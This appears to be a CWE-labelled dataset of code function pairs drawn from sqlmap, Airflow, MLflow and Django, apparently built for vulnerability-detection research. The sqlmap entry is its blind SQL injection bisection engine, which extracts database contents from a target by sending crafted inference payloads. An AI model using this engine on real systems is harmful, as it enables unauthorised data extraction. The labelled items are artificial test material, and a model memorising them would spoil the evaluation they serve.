    return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _",,sqlmapproject/sqlmap,35aa785870d3d90c18bcab9626ac3e9b496a569b,"def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """"""

    abortedFlag = False
    partialValue = u""""
    finalValue = None
    retrievedLength = 0
    asciiTbl = getCharset(charsetType)
    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, """")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = ""resumed: %s"" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case ""common prediction"" feature (a.k.a. ""good
        # samaritan"") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif hasattr(conf, ""api""):
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif ""LENGTH("" in expression.upper() or ""LEN("" in expression.upper():
            firstChar = 0
        elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
        elif firstChar is None:
            firstChar = 0
        elif (isinstance(firstChar, basestring) and firstChar.isdigit()) or isinstance(firstChar, int):
            firstChar = int(firstChar) - 1

        if ""LENGTH("" in expression.upper() or ""LEN("" in expression.upper():
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif lastChar in (None, ""0""):
            lastChar = 0
        elif (isinstance(lastChar, basestring) and lastChar.isdigit()) or isinstance(lastChar, int):
            lastChar = int(lastChar)

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if length and isinstance(length, basestring) and length.isdigit():
            length = int(length)

        if length == 0:
            return 0, """"

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length)

        if showEta:
            progress = ProgressBar(maxValue=length)
            progressTime = []

        if timeBasedCompare and conf.threads > 1:
            warnMsg = ""multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically""
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare:
                debugMsg = ""starting %d thread%s"" % (numThreads, (""s"" if numThreads > 1 else """"))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = ""running in a single-thread mode. Please consider ""
            warnMsg += ""usage of option '--threads' for faster data retrieval""
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta and not hasattr(conf, ""api""):
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout(""[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), ""_"" * min(length, conf.progressWidth)))
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))
            else:
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if hintValue is not None and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """"""
            Used in time-based inference (in case that original and retrieved
            value are not equal there will be a deliberate delay).
            """"""

            if CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
            incrementCounter(kb.technique)

            return not result

        def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
            """"""
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """"""

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(asciiTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
                charTbl.remove(ord('\n'))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]

            while len(charTbl) != 1:
                position = (len(charTbl) >> 1)
                posValue = charTbl[position]

                if CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if timeBasedCompare and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    kb.timeValidCharsRun = 0
                                    if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
                                        errMsg = ""invalid character detected. retrying..""
                                        logger.error(errMsg)

                                        conf.timeSec += 1

                                        warnMsg = ""increasing time delay to %d second%s "" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                        logger.warn(warnMsg)

                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                            dbgMsg = ""turning off time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
                                    else:
                                        errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        kb.timeValidCharsRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = ""turning back on time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        # If we are working with non-continuous elements, set
                        # both minValue and character afterwards are possible
                        # candidates
                        for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
                            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None

        def etaProgressUpdate(charTime, index):
            if len(progressTime) <= ((length * 3) / 100):
                eta = 0
            else:
                midTime = sum(progressTime) / len(progressTime)
                midTimeWithLatest = (midTime + charTime) / 2
                eta = midTimeWithLatest * (length - index) / conf.threads

            progressTime.append(charTime)
            progress.update(index)
            progress.draw(eta)

        # Go multi-threading (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            threadData = getCurrentThreadData()

            threadData.shared.value = [None] * length
            threadData.shared.index = [firstChar]    # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:
                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.index.acquire()

                        if threadData.shared.index[0] - firstChar >= length:
                            kb.locks.index.release()

                            return

                        threadData.shared.index[0] += 1
                        curidx = threadData.shared.index[0]
                        kb.locks.index.release()

                        if kb.threadContinue:
                            charStart = time.time()
                            val = getChar(curidx)
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[curidx - 1 - firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                etaProgressUpdate(time.time() - charStart, threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex, endCharIndex + 1):
                                    output += '_' if currentValue[i] is None else currentValue[i]

                                for i in xrange(length):
                                    count += 1 if currentValue[i] is not None else 0

                                if startCharIndex > 0:
                                    output = '..' + output[2:]

                                if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
                                    output = output[:-2] + '..'

                                if conf.verbose in (1, 2) and not showEta and not hasattr(conf, ""api""):
                                    _ = count - firstChar
                                    output += '_' * (min(length, conf.progressWidth) - len(output))
                                    status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
                                    output += status if _ != length else "" "" * len(status)

                                    dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(output)))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target url was lost
            if None in value:
                partialValue = """".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = ""\r[%s] [INFO] partially retrieved: %s"" % (time.strftime(""%X""), filterControlChars(partialValue))
            else:
                finalValue = """".join(value)
                infoMsg = ""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, ""api""):
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar

            while True:
                index += 1
                charStart = time.time()

                # Common prediction feature (a.k.a. ""good samaritan"")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape(""'%s'"" % commonValue) if ""'"" not in commonValue else unescaper.escape(""%s"" % commonValue, quote=False)
                        query = agent.prefixQuery(safeStringFormat(""AND (%s) = %s"", (expressionUnescaped, testValue)))
                        query = agent.suffixQuery(query)
                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                etaProgressUpdate(time.time() - charStart, len(commonValue))
                            elif conf.verbose in (1, 2) or hasattr(conf, ""api""):
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                        testValue = unescaper.escape(""'%s'"" % commonPattern) if ""'"" not in commonPattern else unescaper.escape(""%s"" % commonPattern, quote=False)
                        query = agent.prefixQuery(safeStringFormat(""AND (%s) = %s"", (subquery, testValue)))
                        query = agent.suffixQuery(query)
                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl)

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                partialValue += val

                if showEta:
                    etaProgressUpdate(time.time() - charStart, index)
                elif conf.verbose in (1, 2) or hasattr(conf, ""api""):
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n':
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = """" if length == 0 else partialValue
                    finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        kb.stickyLevel = None
        retrievedLength = len(finalValue or """")

        if finalValue is not None:
            finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(expression, ""%s%s"" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not abortedFlag and not hasattr(conf, ""api""):
        infoMsg = ""\r[%s] [INFO] retrieved: %s  %s\n"" % (time.strftime(""%X""), filterControlChars(finalValue), "" "" * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) or showEta and not hasattr(conf, ""api""):
            dataToStdout(""\n"")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = ""retrieved: %s"" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(""something unexpected happened inside the threads"")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue
    return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _"
,UNKNOWN,UNKNOWN,airflow/models/taskinstance.py,1,"def _check_and_change_state_before_execution(
        cls,
        task_instance: TaskInstance | TaskInstancePydantic,
        verbose: bool = True,
        ignore_all_deps: bool = False,
        ignore_depends_on_past: bool = False,
        wait_for_past_depends_before_skipping: bool = False,
        ignore_task_deps: bool = False,
        ignore_ti_state: bool = False,
        mark_success: bool = False,
        test_mode: bool = False,
        hostname: str = """",
        job_id: str | None = None,
        pool: str | None = None,
        external_executor_id: str | None = None,
        session: Session = NEW_SESSION,
    ) -> bool:
        """"""
        Check dependencies and then sets state to RUNNING if they are met.

        Returns True if and only if state is set to RUNNING, which implies that task should be
        executed, in preparation for _run_raw_task.

        :param verbose: whether to turn on more verbose logging
        :param ignore_all_deps: Ignore all of the non-critical dependencies, just runs
        :param ignore_depends_on_past: Ignore depends_on_past DAG attribute
        :param wait_for_past_depends_before_skipping: Wait for past depends before mark the ti as skipped
        :param ignore_task_deps: Don't check the dependencies of this TaskInstance's task
        :param ignore_ti_state: Disregards previous task instance state
        :param mark_success: Don't run the task, mark its state as success
        :param test_mode: Doesn't record success or failure in the DB
        :param hostname: The hostname of the worker running the task instance.
        :param job_id: Job (BackfillJob / LocalTaskJob / SchedulerJob) ID
        :param pool: specifies the pool to use to run the task instance
        :param external_executor_id: The identifier of the celery executor
        :param session: SQLAlchemy ORM Session
        :return: whether the state was changed to running or not
        """"""
        if TYPE_CHECKING:
            assert task_instance.task

        if isinstance(task_instance, TaskInstance):
            ti: TaskInstance = task_instance
        else:  # isinstance(task_instance, TaskInstancePydantic)
            filters = (col == getattr(task_instance, col.name) for col in inspect(TaskInstance).primary_key)
            ti = session.query(TaskInstance).filter(*filters).scalar()
            dag = DagBag(read_dags_from_db=True).get_dag(task_instance.dag_id, session=session)
            task_instance.task = dag.task_dict[ti.task_id]
            ti.task = task_instance.task
        task = task_instance.task
        if TYPE_CHECKING:
            assert task
        ti.refresh_from_task(task, pool_override=pool)
        ti.test_mode = test_mode
        ti.refresh_from_db(session=session, lock_for_update=True)
        ti.job_id = job_id
        ti.hostname = hostname
        ti.pid = None

        if not ignore_all_deps and not ignore_ti_state and ti.state == TaskInstanceState.SUCCESS:
            Stats.incr(""previously_succeeded"", tags=ti.stats_tags)

        if not mark_success:
            # Firstly find non-runnable and non-requeueable tis.
            # Since mark_success is not set, we do nothing.
            non_requeueable_dep_context = DepContext(
                deps=RUNNING_DEPS - REQUEUEABLE_DEPS,
                ignore_all_deps=ignore_all_deps,
                ignore_ti_state=ignore_ti_state,
                ignore_depends_on_past=ignore_depends_on_past,
                wait_for_past_depends_before_skipping=wait_for_past_depends_before_skipping,
                ignore_task_deps=ignore_task_deps,
                description=""non-requeueable deps"",
            )
            if not ti.are_dependencies_met(
                dep_context=non_requeueable_dep_context, session=session, verbose=True
            ):
                session.commit()
                return False

            # For reporting purposes, we report based on 1-indexed,
            # not 0-indexed lists (i.e. Attempt 1 instead of
            # Attempt 0 for the first attempt).
            # Set the task start date. In case it was re-scheduled use the initial
            # start date that is recorded in task_reschedule table
            # If the task continues after being deferred (next_method is set), use the original start_date
            ti.start_date = ti.start_date if ti.next_method else timezone.utcnow()
            if ti.state == TaskInstanceState.UP_FOR_RESCHEDULE:
                tr_start_date = session.scalar(
                    TR.stmt_for_task_instance(ti, descending=False).with_only_columns(TR.start_date).limit(1)
                )
                if tr_start_date:
                    ti.start_date = tr_start_date

            # Secondly we find non-runnable but requeueable tis. We reset its state.
            # This is because we might have hit concurrency limits,
            # e.g. because of backfilling.
            dep_context = DepContext(
                deps=REQUEUEABLE_DEPS,
                ignore_all_deps=ignore_all_deps,
                ignore_depends_on_past=ignore_depends_on_past,
                wait_for_past_depends_before_skipping=wait_for_past_depends_before_skipping,
                ignore_task_deps=ignore_task_deps,
                ignore_ti_state=ignore_ti_state,
                description=""requeueable deps"",
            )
            if not ti.are_dependencies_met(dep_context=dep_context, session=session, verbose=True):
                ti.state = None
                cls.logger().warning(
                    ""Rescheduling due to concurrency limits reached ""
                    ""at task runtime. Attempt %s of ""
                    ""%s. State set to NONE."",
                    ti.try_number,
                    ti.max_tries + 1,
                )
                ti.queued_dttm = timezone.utcnow()
                session.merge(ti)
                session.commit()
                return False

        if ti.next_kwargs is not None:
            cls.logger().info(""Resuming after deferral"")
        else:
            cls.logger().info(""Starting attempt %s of %s"", ti.try_number, ti.max_tries + 1)

        if not test_mode:
            session.add(Log(TaskInstanceState.RUNNING.value, ti))

        ti.state = TaskInstanceState.RUNNING
        ti.emit_state_change_metric(TaskInstanceState.RUNNING)

        if external_executor_id:
            ti.external_executor_id = external_executor_id

        ti.end_date = None
        if not test_mode:
            session.merge(ti).task = task
        session.commit()

        # Closing all pooled connections to prevent
        # ""max number of connections reached""
        settings.engine.dispose()  # type: ignore
        if verbose:
            if mark_success:
                cls.logger().info(""Marking success for %s on %s"", ti.task, ti.execution_date)
            else:
                cls.logger().info(""Executing %s on %s"", ti.task, ti.execution_date)
        return True",CWE-703,apache/airflow,f9c56cb321a1c985736ec888f1e37275f646867e,"def _check_and_change_state_before_execution(
        cls,
        task_instance: TaskInstance | TaskInstancePydantic,
        verbose: bool = True,
        ignore_all_deps: bool = False,
        ignore_depends_on_past: bool = False,
        wait_for_past_depends_before_skipping: bool = False,
        ignore_task_deps: bool = False,
        ignore_ti_state: bool = False,
        mark_success: bool = False,
        test_mode: bool = False,
        hostname: str = """",
        job_id: str | None = None,
        pool: str | None = None,
        external_executor_id: str | None = None,
        session: Session = NEW_SESSION,
    ) -> bool:
        """"""
        Check dependencies and then sets state to RUNNING if they are met.

        Returns True if and only if state is set to RUNNING, which implies that task should be
        executed, in preparation for _run_raw_task.

        :param verbose: whether to turn on more verbose logging
        :param ignore_all_deps: Ignore all of the non-critical dependencies, just runs
        :param ignore_depends_on_past: Ignore depends_on_past DAG attribute
        :param wait_for_past_depends_before_skipping: Wait for past depends before mark the ti as skipped
        :param ignore_task_deps: Don't check the dependencies of this TaskInstance's task
        :param ignore_ti_state: Disregards previous task instance state
        :param mark_success: Don't run the task, mark its state as success
        :param test_mode: Doesn't record success or failure in the DB
        :param hostname: The hostname of the worker running the task instance.
        :param job_id: Job (BackfillJob / LocalTaskJob / SchedulerJob) ID
        :param pool: specifies the pool to use to run the task instance
        :param external_executor_id: The identifier of the celery executor
        :param session: SQLAlchemy ORM Session
        :return: whether the state was changed to running or not
        """"""
        if TYPE_CHECKING:
            assert task_instance.task

        if isinstance(task_instance, TaskInstance):
            ti: TaskInstance = task_instance
        else:  # isinstance(task_instance, TaskInstancePydantic)
            filters = (col == getattr(task_instance, col.name) for col in inspect(TaskInstance).primary_key)
            ti = session.query(TaskInstance).filter(*filters).scalar()
            dag = ti.dag_model.serialized_dag.dag
            task_instance.task = dag.task_dict[ti.task_id]
            ti.task = task_instance.task
        task = task_instance.task
        if TYPE_CHECKING:
            assert task
        ti.refresh_from_task(task, pool_override=pool)
        ti.test_mode = test_mode
        ti.refresh_from_db(session=session, lock_for_update=True)
        ti.job_id = job_id
        ti.hostname = hostname
        ti.pid = None

        if not ignore_all_deps and not ignore_ti_state and ti.state == TaskInstanceState.SUCCESS:
            Stats.incr(""previously_succeeded"", tags=ti.stats_tags)

        if not mark_success:
            # Firstly find non-runnable and non-requeueable tis.
            # Since mark_success is not set, we do nothing.
            non_requeueable_dep_context = DepContext(
                deps=RUNNING_DEPS - REQUEUEABLE_DEPS,
                ignore_all_deps=ignore_all_deps,
                ignore_ti_state=ignore_ti_state,
                ignore_depends_on_past=ignore_depends_on_past,
                wait_for_past_depends_before_skipping=wait_for_past_depends_before_skipping,
                ignore_task_deps=ignore_task_deps,
                description=""non-requeueable deps"",
            )
            if not ti.are_dependencies_met(
                dep_context=non_requeueable_dep_context, session=session, verbose=True
            ):
                session.commit()
                return False

            # For reporting purposes, we report based on 1-indexed,
            # not 0-indexed lists (i.e. Attempt 1 instead of
            # Attempt 0 for the first attempt).
            # Set the task start date. In case it was re-scheduled use the initial
            # start date that is recorded in task_reschedule table
            # If the task continues after being deferred (next_method is set), use the original start_date
            ti.start_date = ti.start_date if ti.next_method else timezone.utcnow()
            if ti.state == TaskInstanceState.UP_FOR_RESCHEDULE:
                tr_start_date = session.scalar(
                    TR.stmt_for_task_instance(ti, descending=False).with_only_columns(TR.start_date).limit(1)
                )
                if tr_start_date:
                    ti.start_date = tr_start_date

            # Secondly we find non-runnable but requeueable tis. We reset its state.
            # This is because we might have hit concurrency limits,
            # e.g. because of backfilling.
            dep_context = DepContext(
                deps=REQUEUEABLE_DEPS,
                ignore_all_deps=ignore_all_deps,
                ignore_depends_on_past=ignore_depends_on_past,
                wait_for_past_depends_before_skipping=wait_for_past_depends_before_skipping,
                ignore_task_deps=ignore_task_deps,
                ignore_ti_state=ignore_ti_state,
                description=""requeueable deps"",
            )
            if not ti.are_dependencies_met(dep_context=dep_context, session=session, verbose=True):
                ti.state = None
                cls.logger().warning(
                    ""Rescheduling due to concurrency limits reached ""
                    ""at task runtime. Attempt %s of ""
                    ""%s. State set to NONE."",
                    ti.try_number,
                    ti.max_tries + 1,
                )
                ti.queued_dttm = timezone.utcnow()
                session.merge(ti)
                session.commit()
                return False

        if ti.next_kwargs is not None:
            cls.logger().info(""Resuming after deferral"")
        else:
            cls.logger().info(""Starting attempt %s of %s"", ti.try_number, ti.max_tries + 1)

        if not test_mode:
            session.add(Log(TaskInstanceState.RUNNING.value, ti))

        ti.state = TaskInstanceState.RUNNING
        ti.emit_state_change_metric(TaskInstanceState.RUNNING)

        if external_executor_id:
            ti.external_executor_id = external_executor_id

        ti.end_date = None
        if not test_mode:
            session.merge(ti).task = task
        session.commit()

        # Closing all pooled connections to prevent
        # ""max number of connections reached""
        settings.engine.dispose()  # type: ignore
        if verbose:
            if mark_success:
                cls.logger().info(""Marking success for %s on %s"", ti.task, ti.execution_date)
            else:
                cls.logger().info(""Executing %s on %s"", ti.task, ti.execution_date)
        return True"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_chat_model.py,1,"def test_chat_model_predict_stream(tmp_path):
    model = TestChatModel()
    mlflow.pyfunc.save_model(python_model=model, path=tmp_path)

    loaded_model = mlflow.pyfunc.load_model(tmp_path)
    messages = [
        {""role"": ""system"", ""content"": ""You are a helpful assistant""},
        {""role"": ""user"", ""content"": ""Hello!""},
    ]

    response = next(loaded_model.predict_stream({""messages"": messages}))
    assert response[""choices""][0][""message""][""content""] == json.dumps(messages)",CWE-703,mlflow/mlflow,d2955cc90b6c5d7c931a8476b85f66e63990ca96,"def test_chat_model_predict_stream(tmp_path):
    model = TestChatModel()
    mlflow.pyfunc.save_model(python_model=model, path=tmp_path)

    loaded_model = mlflow.pyfunc.load_model(tmp_path)
    messages = [
        {""role"": ""system"", ""content"": ""You are a helpful assistant""},
        {""role"": ""user"", ""content"": ""Hello!""},
    ]

    response = next(loaded_model.predict_stream({""messages"": messages}))
    assert response[""choices""][0][""message""][""content""] == json.dumps(messages)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/prefetch_related/tests.py,0,"def test_prefetch_with_to_attr(self):
        with self.assertNumQueries(3):
            books = Book.objects.filter(
                title__in=['book1', 'book2'],
            ).prefetch_related(
                Prefetch(
                    'first_time_authors',
                    Author.objects.prefetch_related(
                        Prefetch(
                            'addresses',
                            AuthorAddress.objects.filter(address='Happy place'),
                            to_attr='happy_place',
                        )
                    ),
                    to_attr='first_authors',
                ),
            )
            book1, book2 = list(books)

        with self.assertNumQueries(0):
            self.assertListEqual(book1.first_authors, [self.author11, self.author12])
            self.assertListEqual(book2.first_authors, [self.author21])

            self.assertListEqual(book1.first_authors[0].happy_place, [self.author1_address1])
            self.assertListEqual(book1.first_authors[1].happy_place, [])
            self.assertListEqual(book2.first_authors[0].happy_place, [self.author2_address1])",CWE-Unknown,django/django,c679ac04499798e366ca594f97e4f95d3da3682f,"def test_prefetch_with_to_attr(self):
        with self.assertNumQueries(3):
            books = Book.objects.filter(
                title__in=['book1', 'book2'],
            ).prefetch_related(
                Prefetch(
                    'first_time_authors',
                    Author.objects.prefetch_related(
                        Prefetch(
                            'addresses',
                            AuthorAddress.objects.filter(address='Happy place'),
                            to_attr='happy_place',
                        )
                    ),
                    to_attr='first_authors',
                ),
            )
